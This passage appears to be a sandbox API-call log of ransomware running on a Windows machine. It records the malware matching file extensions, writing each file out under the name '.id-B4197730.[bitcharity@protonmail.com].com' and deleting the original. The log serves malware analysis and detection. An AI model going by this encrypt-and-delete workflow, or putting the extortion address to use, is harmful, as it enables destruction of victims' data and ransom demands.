[0138.753] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.753] lstrlenW (lpString=".xlsx") returned 5 [0138.753] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.753] lstrlenW (lpString=".ppt") returned 4 [0138.753] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString=".zip") returned 4 [0138.753] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.753] lstrlenW (lpString=".rar") returned 4 [0138.753] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.753] lstrlenW (lpString=".bz2") returned 4 [0138.753] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.753] lstrlenW (lpString=".7z") returned 3 [0138.753] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.754] lstrlenW (lpString=".dbf") returned 4 [0138.754] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.754] lstrlenW (lpString=".1cd") returned 4 [0138.754] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.754] lstrlenW (lpString=".jpg") returned 4 [0138.754] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.754] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0138.754] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0138.754] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.761] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=495616) returned 1 [0138.761] CloseHandle (hObject=0x1038) returned 1 [0138.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0138.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.762] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.762] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0138.762] GetLastError () returned 0x0 [0138.762] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x79000, lpOverlapped=0x0) returned 1 [0138.920] WriteFile (in: hFile=0x1098, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x79010, lpOverlapped=0x0) returned 1 [0138.929] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.930] WriteFile (in: hFile=0x1098, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x100, lpOverlapped=0x0) returned 1 [0138.930] SetEndOfFile (hFile=0x1098) returned 1 [0138.930] CloseHandle (hObject=0x1098) returned 1 [0138.987] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.987] SetEndOfFile (hFile=0x1038) returned 1 [0138.992] CloseHandle (hObject=0x1038) returned 1 [0138.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.992] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0138.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.993] lstrlenW (lpString=".doc") returned 4 [0138.993] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.993] lstrlenW (lpString=".docx") returned 5 [0138.993] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0138.993] lstrlenW (lpString=".pdf") returned 4 [0138.993] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.993] lstrlenW (lpString=".xls") returned 4 [0138.993] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.993] lstrlenW (lpString=".xlsx") returned 5 [0138.993] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0138.993] lstrlenW (lpString=".ppt") returned 4 [0138.993] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.993] lstrlenW (lpString=".zip") returned 4 [0138.993] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.993] lstrlenW (lpString=".rar") returned 4 [0138.993] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.993] lstrlenW (lpString=".bz2") returned 4 [0138.993] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.993] lstrlenW (lpString=".7z") returned 3 [0138.993] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.993] lstrlenW (lpString=".dbf") returned 4 [0138.994] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.994] lstrlenW (lpString=".1cd") returned 4 [0138.994] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.994] lstrlenW (lpString=".jpg") returned 4 [0138.994] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.994] lstrlenW (lpString=".doc") returned 4 [0138.994] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.994] lstrlenW (lpString=".docx") returned 5 [0138.994] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0138.994] lstrlenW (lpString=".pdf") returned 4 [0138.994] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.994] lstrlenW (lpString=".xls") returned 4 [0138.994] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.994] lstrlenW (lpString=".xlsx") returned 5 [0138.994] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0138.994] lstrlenW (lpString=".ppt") returned 4 [0138.994] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.994] lstrlenW (lpString=".zip") returned 4 [0138.994] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.995] lstrlenW (lpString=".rar") returned 4 [0138.995] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.995] lstrlenW (lpString=".bz2") returned 4 [0138.995] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.995] lstrlenW (lpString=".7z") returned 3 [0138.995] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.995] lstrlenW (lpString=".dbf") returned 4 [0138.995] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.995] lstrlenW (lpString=".1cd") returned 4 [0138.995] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0138.995] lstrlenW (lpString=".jpg") returned 4 [0138.995] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.995] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0138.995] lstrlenW (lpString="Setup.exe") returned 9 [0138.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.996] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=78152) returned 1 [0138.996] CloseHandle (hObject=0x1038) returned 1 [0138.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0138.996] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0138.996] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.996] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.082] GetLastError () returned 0x0 [0139.082] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x13148, lpOverlapped=0x0) returned 1 [0139.150] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x13150, lpOverlapped=0x0) returned 1 [0139.152] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.152] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xe6, lpOverlapped=0x0) returned 1 [0139.152] SetEndOfFile (hFile=0x103c) returned 1 [0139.152] CloseHandle (hObject=0x103c) returned 1 [0139.161] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.161] SetEndOfFile (hFile=0x1038) returned 1 [0139.162] CloseHandle (hObject=0x1038) returned 1 [0139.163] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.163] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0139.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.164] lstrlenW (lpString=".doc") returned 4 [0139.164] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0139.164] lstrlenW (lpString=".docx") returned 5 [0139.164] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0139.164] lstrlenW (lpString=".pdf") returned 4 [0139.164] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0139.164] lstrlenW (lpString=".xls") returned 4 [0139.164] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0139.164] lstrlenW (lpString=".xlsx") returned 5 [0139.164] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0139.164] lstrlenW (lpString=".ppt") returned 4 [0139.164] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0139.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.164] lstrlenW (lpString=".zip") returned 4 [0139.164] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0139.164] lstrlenW (lpString=".rar") returned 4 [0139.164] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0139.164] lstrlenW (lpString=".bz2") returned 4 [0139.164] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0139.164] lstrlenW (lpString=".7z") returned 3 [0139.164] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0139.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.164] lstrlenW (lpString=".dbf") returned 4 [0139.164] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0139.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.164] lstrlenW (lpString=".1cd") returned 4 [0139.164] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0139.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.165] lstrlenW (lpString=".jpg") returned 4 [0139.165] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.165] lstrlenW (lpString=".doc") returned 4 [0139.165] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0139.165] lstrlenW (lpString=".docx") returned 5 [0139.165] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0139.165] lstrlenW (lpString=".pdf") returned 4 [0139.165] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString=".xls") returned 4 [0139.165] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString=".xlsx") returned 5 [0139.165] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0139.165] lstrlenW (lpString=".ppt") returned 4 [0139.165] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.165] lstrlenW (lpString=".zip") returned 4 [0139.165] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString=".rar") returned 4 [0139.165] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0139.165] lstrlenW (lpString=".bz2") returned 4 [0139.165] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0139.165] lstrlenW (lpString=".7z") returned 3 [0139.165] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0139.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.166] lstrlenW (lpString=".dbf") returned 4 [0139.166] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0139.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.166] lstrlenW (lpString=".1cd") returned 4 [0139.166] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0139.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0139.166] lstrlenW (lpString=".jpg") returned 4 [0139.166] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0139.166] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0139.166] lstrlenW (lpString="SetupUi.dll") returned 11 [0139.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.166] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=295248) returned 1 [0139.166] CloseHandle (hObject=0x1038) returned 1 [0139.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0139.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.167] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.167] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.168] GetLastError () returned 0x0 [0139.168] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x48150, lpOverlapped=0x0) returned 1 [0139.284] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x48160, lpOverlapped=0x0) returned 1 [0139.290] ReadFile (in: hFile=0x1038, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.290] WriteFile (in: hFile=0x103c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xea, lpOverlapped=0x0) returned 1 [0139.291] SetEndOfFile (hFile=0x103c) returned 1 [0139.291] CloseHandle (hObject=0x103c) returned 1 [0139.301] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.301] SetEndOfFile (hFile=0x1038) returned 1 [0139.305] CloseHandle (hObject=0x1038) returned 1 [0139.305] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.305] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0139.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.306] lstrlenW (lpString=".doc") returned 4 [0139.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString=".docx") returned 5 [0139.306] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0139.306] lstrlenW (lpString=".pdf") returned 4 [0139.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString=".xls") returned 4 [0139.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString=".xlsx") returned 5 [0139.306] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0139.306] lstrlenW (lpString=".ppt") returned 4 [0139.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.306] lstrlenW (lpString=".zip") returned 4 [0139.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString=".rar") returned 4 [0139.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.306] lstrlenW (lpString=".bz2") returned 4 [0139.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.306] lstrlenW (lpString=".7z") returned 3 [0139.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.306] lstrlenW (lpString=".dbf") returned 4 [0139.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.306] lstrlenW (lpString=".1cd") returned 4 [0139.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.306] lstrlenW (lpString=".jpg") returned 4 [0139.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.307] lstrlenW (lpString=".doc") returned 4 [0139.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString=".docx") returned 5 [0139.307] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0139.307] lstrlenW (lpString=".pdf") returned 4 [0139.307] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString=".xls") returned 4 [0139.307] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString=".xlsx") returned 5 [0139.307] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0139.307] lstrlenW (lpString=".ppt") returned 4 [0139.307] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.307] lstrlenW (lpString=".zip") returned 4 [0139.307] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString=".rar") returned 4 [0139.307] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0139.307] lstrlenW (lpString=".bz2") returned 4 [0139.308] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0139.308] lstrlenW (lpString=".7z") returned 3 [0139.308] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.308] lstrlenW (lpString=".dbf") returned 4 [0139.308] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.308] lstrlenW (lpString=".1cd") returned 4 [0139.308] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0139.308] lstrlenW (lpString=".jpg") returned 4 [0139.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.308] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0139.308] lstrlenW (lpString="SetupUtility.exe") returned 16 [0139.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.308] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=96088) returned 1 [0139.308] CloseHandle (hObject=0x1038) returned 1 [0139.309] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0139.309] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.309] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0139.309] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.309] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 